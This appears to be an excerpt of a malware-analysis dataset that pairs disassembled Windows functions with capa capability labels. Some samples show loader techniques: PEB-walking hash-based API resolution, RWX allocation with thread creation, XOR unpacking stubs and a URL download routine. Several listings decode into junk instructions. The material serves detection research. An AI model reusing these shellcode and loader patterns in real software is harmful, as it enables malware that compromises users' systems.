joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40322d
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
inc ecx
stc
stc
stc
lahf
inc ecx
wait
inc eax
wait
inc ebx
cwde
clc
aas
dec edx
das
clc
cwde
xchg edx, eax
std
inc ebx
dec ebx
salc
inc eax
cmc
cwde
aaa
stc
salc
dec ebx
dec ebx
xchg edx, eax
inc edx
cld
dec ecx
xchg edx, eax
dec eax
cld
xchg ecx, eax
aas
xchg ebx, eax
inc ecx
cld
lahf
inc ecx
lahf
xchg ebx, eax
xchg edx, eax
cld
cld
daa
das
inc ebx
dec ecx
daa
cdq
xchg ebx, eax
daa
cwde
nop
aas
xchg edx, eax
cwde
std
das
stc
xchg ebx, eax
salc
inc ebx
aas
dec ebx
nop
inc edx
stc
cdq
daa
inc ebx
xchg ebx, eax
cmc
salc
cdq
inc eax
std
lahf
stc
xchg ecx, eax
inc eax
dec ecx
dec ebx
cwde
std
inc edx
das
salc
cdq
lahf
cwde
xchg ebx, eax
std
dec eax
dec eax
inc eax
std
xchg ecx, eax
xchg edx, eax
daa
aas
aas
salc
dec ebx
stc
cwde
stc
lahf
daa
das
inc edx
cdq
inc ebx
cdq
cwde
inc eax
stc
das
xchg ecx, eax
dec ecx
salc
stc
xchg ecx, eax
xchg edx, eax
dec ecx
daa
nop
lahf
xchg ecx, eax
lahf
xchg edx, eax
xchg edx, eax
dec ebx
xchg edx, eax
xchg ebx, eax
aas
inc ecx
xchg ebx, eax
salc
dec ebx
daa
inc ecx
dec edx
nop
cwde
salc
salc
cdq
inc edx
stc
inc edx
nop
cmc
cdq
dec ebx
xchg ebx, eax
lahf
das
std
wait
xchg ecx, eax
cdq
clc
cmc
aaa
salc
clc
nop
dec edx
cld
dec eax
std
std
inc ecx
aaa
dec eax
std
xchg ebx, eax
dec ecx
xchg ebx, eax
daa
stc
aas
jmp 0x407d17
jmp 0x407d27
cld
nop
jmp 0x407d37
call 0x408078
nop
nop
jmp 0x407d4e
pushal
mov ebp, esp
nop
xor edx, edx
nop
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
jmp 0x407d69
jmp 0x407d78
xor edi, edi
mov esi, dword [edx + 0x28]
movzx ecx, word [edx + 0x26]
jmp 0x407d8f
nop
xor eax, eax
jmp 0x407d9c
lodsb al, byte [esi]
nop
cmp al, 0x61
jmp 0x407db1
jl 0x407dd6
nop
nop
jmp 0x407dc2
sub al, 0x20
nop
jmp 0x407dd6
nop
jmp 0x407de1
ror edi, 0xd
add edi, eax
nop
dec ecx
nop
jmp 0x407df9
jne 0x407d8f
nop
jmp 0x407e0a
nop
jmp 0x407e17
push edx
nop
push edi
mov edx, dword [edx + 0x10]
nop
jmp 0x407e2b
mov eax, dword [edx + 0x3c]
jmp 0x407e3a
add eax, edx
jmp 0x407e4b
mov eax, dword [eax + 0x78]
jmp 0x407e5f
test eax, eax
nop
jmp 0x407e6d
je 0x408025
nop
nop
add eax, edx
jmp 0x407e81
mov ecx, dword [eax + 0x18]
jmp 0x407e92
mov ebx, dword [eax + 0x20]
jmp 0x407ea0
add ebx, edx
jmp 0x407eaf
push eax
nop

Function at 0x405f20
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x410388]
mov ecx, eax
inc eax
test ecx, ecx
mov dword [0x41ef88], eax
je 0x405f40
xor eax, eax
mov esp, ebp
pop ebp
and ecx, dword [ebp - 0x74ad07ab]
xlatb
lea edx, [ebp - 8]
push edx
mov edx, edi
inc edi
add byte [eax], al
add esp, 0x6e
and eax, eax
jne 0xab5fd6
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x415954], eax
call 0xfff94940
test eax, eax
jne 0x405fdb
push eax
mov dl, 0x4e
lea eax, [ebp - 4]
push eax
popal
in al, dx
out dx, eax
invalid
mov esp, ebp
pop ebp
ret
Function at 0x40a3d0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp - 0x7f]
mov eax, dword [eax + 0x14]
test eax, eax
je 0x40a3f3
add ecx, dword [ebp + 0x4e]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x40a40a
push esi
mov esi, dword [0x3940c098]
call esi
adc dword [ebx + 0x75], edx
add eax, 0x8c25d5e
add bh, bh
salc
add eax, 0xc6fc80
pop esi
pop ebp
loopne 0x40a411
test byte [ebx], dh
rcr byte [ebp - 0x3e], 8
add byte [eax], al
xor eax, eax
pop ebp
ret 8
cmp esi, ebp
add byte [eax], al
invalid
Function at 0x401680
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x40
mov edi, dword [ebp + 8]
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x401a20
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
mov ebx, dword [eax + edi + 0x18]
test ebx, ebx
je 0x401864
mov dword [ebp - 0x44], eax
mov eax, dword [eax + edi + 0x20]
add eax, edi
mov dword [ebp - 0x28], eax
dec ebx
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], edi
nop word [eax + eax]
mov dword [ebp - 0x4c], ebx
mov eax, dword [ebp - 0x28]
mov ebx, dword [eax]
add ebx, edi
xorps xmm0, xmm0
movsd qword [ebp - 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x40], xmm0
push ebx
call fcn.00407300
add esp, 4
test eax, eax
js 0x401882
mov esi, eax
cmp eax, 0xf
ja 0x401740
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], 0xf
push esi
push ebx
lea edi, [ebp - 0x40]
push edi
call fcn.004030e0
add esp, 0xc
add esi, ebp
add esi, 0xffffffc0
mov dword [ebp - 0x10], 1
jmp 0x4017c1
mov eax, esi
or eax, 0xf
cmp eax, 0x17
mov ecx, 0x16
cmovae ecx, eax
cmp eax, 0xfff
mov dword [ebp - 0x48], ecx
jb 0x401790
mov dword [ebp - 0x10], 0xffffffff
cmp eax, 0xffffffdc
jae 0x40188e
lea eax, [ecx + 0x24]
push eax
call fcn.004020be
add esp, 4
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x4017a5
lea eax, [ecx + 1]
mov dword [ebp - 0x10], 0xffffffff
push eax
call fcn.004020be
add esp, 4
mov edi, eax
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x30], esi
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x2c], eax
push esi
push ebx
push edi
call fcn.004030e0
add esp, 0xc
add esi, edi
lea edi, [ebp - 0x40]
mov byte [esi], 0
mov dword [ebp - 0x10], 1
push 0x235
push edi
call fcn.00401390
add esp, 8
mov esi, eax
cmp eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp - 0x4c]
jne 0x401810
mov ecx, dword [ebp - 0x44]
mov eax, dword [ecx + edi + 0x24]
mov edx, dword [ebp - 0x24]
movzx eax, word [edx + eax]
mov ecx, dword [ecx + edi + 0x1c]
add ecx, edi
mov eax, dword [ecx + eax*4]
mov dword [ebp - 0x20], eax
jmp 0x401814
add dword [ebp - 0x28], 4
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x40184b
mov ecx, dword [ebp - 0x40]
lea edx, [eax + 1]
cmp edx, 0x1000
jb 0x401841
mov edi, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edi
cmp ecx, 0x20
jae 0x401893
add eax, 0x24
mov edx, eax
mov ecx, edi
mov edi, dword [ebp + 8]
push edx
push ecx
call fcn.004020b0
add esp, 8
sub ebx, 1
setb al
cmp esi, dword [ebp + 0xc]
je 0x40186b
add dword [ebp - 0x24], 2
test al, al
je 0x4016e0
jmp 0x40186b
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x20]
add eax, edi
mov ecx, dword [ebp - 0x18]
mov dword fs:[0], ecx
add esp, 0x40
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x10], 0xffffffff
call fcn.00401bc0
call fcn.00401bd0
mov dword [ebp - 0x10], 0
call fcn.0040551b
nop
push ebp
sub esp, 0xc
add ebp, 0xc
call fcn.004030cf
nop dword [eax]
push ebp
sub esp, 0xc
add ebp, 0xc
lea ecx, [ebp - 0x40]
call fcn.00401b10
add esp, 0xc
pop ebp
ret
Function at 0x401950
Capabilities:
Access peb ldr_data
Create thread
Get kernel32 base address

Disassembly:
push edi
push esi
push eax
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x4295a8], eax
push 0x27
push 0x428611
push 0x547
push 0x428638
call section..text
add esp, 0x10
push 0x8aafdc01
push dword [0x4295a8]
call fcn.00401680
add esp, 8
mov ecx, esp
push ecx
push 0x40
push 0x4e4
push 0x428638
call eax
test eax, eax
je 0x4019f0
push 0x11
push section..data
push 0xd600
push 0x41b011
call section..text
add esp, 0x10
push 0
push 0
push 0x41b011
push 0x4287c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add esp, 4
pop esi
pop edi
ret 0x10

Function at 0x40288b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4028ca
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4028ca
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4028ca
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4028ca
cmp dword [ecx + 0x74], 0xe
jbe 0x4028ca
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40906d
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415bd8
push 0x415bd0
push str.FlsAlloc
push 0x1e
call fcn.00408f8b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4090a1
push dword [ebp + 8]
mov ecx, esi
call dword [0x414110]
call esi
jmp 0x4090a7
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4090eb
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415be8
push 0x415be0
push str.FlsGetValue
push 0x20
call fcn.00408f8b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409122
push dword [ebp + 8]
mov ecx, esi
call dword [0x414110]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40c0b5
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40c152
push ebx
push esi
call fcn.0040c07e
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040bfc7
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40c0ff
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40c151
push edi
push eax
call fcn.00409820
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40c11f
call fcn.00408e38
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40c150
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040bfc7
add esp, 0x20
test eax, eax
jne 0x40c13e
push edi
call fcn.00408e38
jmp 0x40c146
push ebx
call fcn.00408e38
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x413670
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41369d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41369d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0xc36bad
Capabilities:
Encode data using xor

Disassembly:
xor al, al
mov al, byte [edi]
xor al, bl
mov byte [edi], al
inc edi
cmp edi, ecx
jne fcn.00c36bad
ret
Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x15d14523
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
je 0x42e0d2
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x18a85436
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x402ba7
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
mov ebx, esi
mov eax, dword [edi + 0xc]
cmp eax, dword [edi + 8]
jne 0x402d3b
push 0x802
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x402d48
push 0x802
push esi
push ebx
call sub.VCRUNTIME140.dll_memset
mov edx, dword [edi + 0x20]
lea ecx, [edi + 8]
add esp, 0xc
test edx, edx
jne 0x402c0e
push esi
push ecx
push 0x800
push ebx
push dword [edi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402d3e
jmp 0x402c23
mov eax, dword [edx]
push ecx
push 0x800
push ebx
push edx
call dword [eax + 0xc]
test eax, eax
js 0x402d3e
lea eax, [edi + 8]
mov edx, dword [eax]
test edx, edx
je 0x402d3e
cmp dword [edi + 0x14], esi
jne 0x402c7b
mov cl, byte [ebx]
cmp cl, 0xff
jne 0x402c42
cmp byte [ebx + 1], 0xfe
je 0x402c4d
cmp cl, 0x3c
jne 0x402c55
cmp byte [ebx + 1], 0
jne 0x402c55
xor ecx, ecx
inc ecx
mov dword [edi + 0x18], ecx
jmp 0x402c75
cmp cl, 0xfe
jne 0x402c60
cmp byte [ebx + 1], 0xff
je 0x402c6a
test cl, cl
jne 0x402c72
cmp byte [ebx + 1], 0x3c
jne 0x402c72
xor ecx, ecx
inc ecx
mov dword [edi + 0x1c], ecx
jmp 0x402c50
xor ecx, ecx
inc ecx
mov dword [ebp - 4], ecx
mov dword [edi + 0x14], ecx
cmp dword [edi + 0x18], esi
je 0x402c84
shr edx, 1
mov dword [eax], edx
cmp dword [edi + 0x1c], esi
je 0x402cb4
mov eax, dword [eax]
lea eax, [eax*2 - 2]
test eax, eax
je 0x402cb4
dec eax
lea edx, [ebx + 1]
shr eax, 1
inc eax
mov edi, eax
mov cl, byte [edx - 1]
mov al, byte [edx]
mov byte [edx - 1], al
mov byte [edx], cl
lea edx, [edx + 2]
sub edi, 1
jne 0x402c9f
mov edi, dword [ebp + 8]
cmp dword [edi + 0x18], esi
je 0x402cc8
push dword [edi + 0x10]
call fcn.00402f02
mov dword [edi + 0x10], ebx
mov ebx, esi
jmp 0x402d2b
mov eax, dword fs:[0x2c]
mov ecx, dword [0x40b21c]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x40b16c]
cmp eax, dword [ecx + 4]
jle 0x402d0b
push 0x40b16c
call fcn.00405ec7
cmp dword [0x40b16c], 0xffffffff
pop ecx
jne 0x402d0b
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0x40b16c
mov dword [0x40b168], eax
call fcn.00405e8e
pop ecx
push 0x800
push dword [edi + 0x10]
push dword [edi + 8]
push ebx
push esi
push dword [0x40b168]
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [edi + 8], eax
test eax, eax
je 0x402d3e
cmp dword [ebp - 4], esi
je 0x402d38
cmp dword [edi + 0x18], esi
je 0x402d38
xor esi, esi
inc esi
mov dword [edi + 0xc], esi
xor esi, esi
inc esi
test ebx, ebx
je 0x402d48
push ebx
call fcn.00402f02
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x402f16
Capabilities:
Download url
Parse url
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x437c
call fcn.00405fc5
mov eax, dword [0x408f54]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x437c]
push 0x3c
xor esi, esi
push esi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
test edi, edi
je 0x403080
cmp word [edi], si
je 0x403080
push ebx
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
push 7
push edi
push str.http:__
call ebx
add esp, 0xc
test eax, eax
je 0x402f95
push 8
push edi
push str.https:__
call ebx
add esp, 0xc
test eax, eax
je 0x402f95
push 6
push edi
push str.ftp:__
call ebx
add esp, 0xc
test eax, eax
jne 0x40307f
push edi
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
cmp word [eax], si
je 0x402fa4
add eax, 2
push esi
lea ecx, [ebp - 0x20c]
push ecx
push eax
push esi
push edi
call dword [sym.imp.WININET.dll_CreateUrlCacheEntryW]
test eax, eax
je 0x40307f
xor eax, eax
mov dword [ebp - 0x437c], 0x3c
mov word [ebp - 0x22a4], ax
mov ebx, 0x825
mov word [ebp - 0x1258], ax
mov word [ebp - 0x32f0], ax
lea eax, [ebp - 0x1258]
mov dword [ebp - 0x436c], eax
lea eax, [ebp - 0x22a4]
mov dword [ebp - 0x4350], eax
lea eax, [ebp - 0x32f0]
mov dword [ebp - 0x4348], eax
lea eax, [ebp - 0x437c]
push eax
push esi
push esi
push edi
mov dword [ebp - 0x4368], ebx
mov dword [ebp - 0x434c], ebx
mov dword [ebp - 0x4344], ebx
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
je 0x403057
lea eax, [ebp - 0x4340]
mov dword [ebp - 0x4340], ebx
push eax
lea eax, [ebp - 0x433c]
push eax
push Ordinal_1
lea eax, [ebp - 0x437c]
push eax
call dword [sym.imp.WININET.dll_InternetCreateUrlW]
test eax, eax
je 0x40307f
push esi
push esi
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x433c]
push eax
push esi
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
js 0x40307f
lea eax, [ebp - 0x20c]
push eax
call fcn.0040561e
mov esi, eax
pop ebx
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.00405a64
mov esp, ebp
pop ebp
ret 4

Function at 0x4039d9
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 0x14]
lea eax, [ebp - 4]
push edi
mov edi, dword [ebp + 0x18]
xor ebx, ebx
push edi
push esi
push eax
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], ebx
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
test ecx, ecx
js 0x403a47
mov edx, dword [ebp - 4]
test edi, edi
jne 0x403a22
test esi, esi
je 0x403a3e
mov ecx, 0x8000ffff
jmp 0x403a47
test esi, esi
je 0x403a3e
cmp edx, 1
je 0x403a30
cmp edx, 2
jne 0x403a3e
mov eax, dword [edi]
cmp eax, 2
jb 0x403a1b
cmp word [eax + esi - 2], bx
jmp 0x403a19
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x403a47
mov dword [eax], edx
pop edi
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x14
Function at 0x404b86
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x408f54]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
push 3
push esi
mov edi, ebx
mov dword [ebp - 0x40c], 0x201
call dword [sym.imp.SHLWAPI.dll_UrlIsW]
test eax, eax
je 0x404bf4
push 0x402
lea eax, [ebp - 0x408]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x40c]
push ebx
push eax
lea eax, [ebp - 0x408]
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_PathCreateFromUrlW]
test eax, eax
lea ecx, [ebp - 0x408]
cmovs ecx, ebx
test ecx, ecx
jne 0x404bf6
mov ecx, esi
push 1
push ebx
push ecx
push str._SystemRoot__system32NOTEPAD.EXE
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
mov ecx, 0x80004005
cmovle edi, ecx
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405a64
mov esp, ebp
pop ebp
ret 4
Function at 0x405670
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebx, eax
test ebx, ebx
jne 0x4056ae
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
jmp 0x405761
cmp dword [ebp - 4], 1
jle 0x40574b
push dword [ebx + 4]
push str._verb
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
jne 0x40574b
cmp dword [ebp - 4], 4
mov dword [ebp - 8], edi
jl 0x40574b
mov eax, dword [ebx + 8]
push 3
pop esi
push dword [ebx + 0xc]
mov dword [ebp - 0xc], eax
push str._genverb
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
jne 0x405701
cmp dword [ebp - 4], 6
jne 0x40574b
mov eax, dword [ebx + 0x10]
push 5
mov dword [ebp - 8], eax
pop esi
lea eax, [esi + 1]
cmp eax, dword [ebp - 4]
jne 0x40574b
push edi
push dword [ebx + esi*4]
call fcn.004030ed
mov edi, eax
test edi, edi
jne 0x40571f
mov esi, 0x80004005
jmp 0x405750
lea esi, [edi + 8]
push esi
push dword [edi]
call fcn.00403d58
cmp dword [esi], 0
mov eax, dword [ebp - 0xc]
jne 0x40573a
mov ecx, dword [ebp - 8]
test ecx, ecx
cmovne eax, ecx
push dword [esi]
push eax
push dword [edi + 4]
push dword [edi]
call fcn.00404928
mov esi, eax
jmp 0x405750
mov esi, 0x80070057
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
test edi, edi
je 0x405761
push edi
call fcn.0040316d
xor eax, eax
test esi, esi
sets al
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x405a71
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
xor eax, eax
push ebx
mov ebx, 0xbb40e64e
cmp dword [0x408f54], eax
je 0x405a93
cmp dword [0x408f54], ebx
jne 0x405b27
push edi
push eax
push eax
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov edi, dword [ebp - 8]
xor edi, dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor edi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edi, eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0x14]
xor edi, eax
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push 0x408f54
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
test edi, edi
push eax
push dword [ebp - 4]
cmovne ebx, edi
mov edi, 0x408f54
push 4
push edi
mov dword [0x408f54], ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 4
push edi
call sub.KERNEL32.dll_WerRegisterMemoryBlock
mov eax, dword [0x408f54]
not eax
mov dword [0x40b154], eax
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x421a5e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00428cb0
mov eax, dword [0x48aec0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041b83b
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x421aa0
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x421bfc
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00428ce0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x48ca00]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00421e84
mov ecx, dword [esi*4 + 0x48ca00]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x421bf5
cmp eax, dword [edi + ecx + 0x24]
jne 0x421bf5
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x421bf5
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00421e84
add esp, 0x14
test edx, edx
jl 0x421bf5
jg 0x421b6b
test eax, eax
jb 0x421bf5
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x421bf5
jl 0x421b85
cmp dword [ebp - 0x1008], eax
ja 0x421bf5
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x421ba3
test ebx, ebx
je 0x421bdc
cmp ecx, edi
jae 0x421bdc
mov al, byte [ecx]
cmp al, 0xd
jne 0x421bbd
lea eax, [edi - 1]
cmp ecx, eax
jae 0x421bc9
cmp byte [ecx + 1], 0xa
jne 0x421bc9
inc ecx
jmp 0x421bc9
movzx eax, al
movsx eax, byte [eax + 0x48b960]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x421ba3
cmp edx, ebx
jne 0x421ba3
